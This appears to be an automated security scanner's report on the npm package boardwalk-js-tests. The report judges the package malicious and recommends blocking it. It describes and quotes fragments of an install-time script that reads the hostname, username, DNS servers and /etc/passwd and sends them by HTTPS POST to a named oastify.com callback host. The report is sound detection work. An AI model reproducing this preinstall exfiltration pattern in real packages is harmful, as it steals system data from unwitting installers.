That script gathers host and user identifiers, DNS servers, and the contents of /etc/passwd and /etc/hosts if present, then sends them in an HTTPS POST request to a fixed oastify.com host. - **Rationale:** The package has no apparent package-aligned reason to collect and transmit this system data during installation. The exfiltration is concrete and automatically triggered. - **Files touched:** package.json, index.js - **Network endpoints:** h8q14cqgn5ra8v0bjg70nqxsbjhc52tr.oastify.com ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** package.json runs \`node index.js\` in preinstall., index.js collects home path, hostname, username, and DNS servers., index.js reads /etc/passwd and /etc/hosts when present., index.js POSTs collected data to an OAST endpoint. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts.

L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data ``` ### 6. High: Trigger Reachable External Post Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** index.js - **Public source:** [View source]() A manifest entrypoint or package-local install chain reaches a fixed external POST callback. Public source snippet (untrusted): ```javascript Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request ``` ### 7.

High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** index.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = aedes_clusters@1.0.1 matchedPath = index.js matchedIdentity = npm:YWVkZXNfY2x1c3RlcnM:1.0.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 9. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** index.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = 5442fb9217b0dd0a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = aedes_clusters@1.0.1 matchedPath = index.js matchedIdentity = npm:YWVkZXNfY2x1c3RlcnM:1.0.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** boardwalk-js-tests - **Ecosystem:** npm - **Version:** 1.1.1 - **License:** ISC - **Version published:** 2026-08-01T11:41:06.049Z - **Package first seen:** 2026-08-01T11:42:24.516Z - **Package last seen:** 2026-08-01T11:42:24.516Z - **Known versions:** 1 - **Latest version:** 1.1.1 - **Appeal under review:** No - **Artifact files:** 2 - **Artifact unpacked size:** 2,269 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
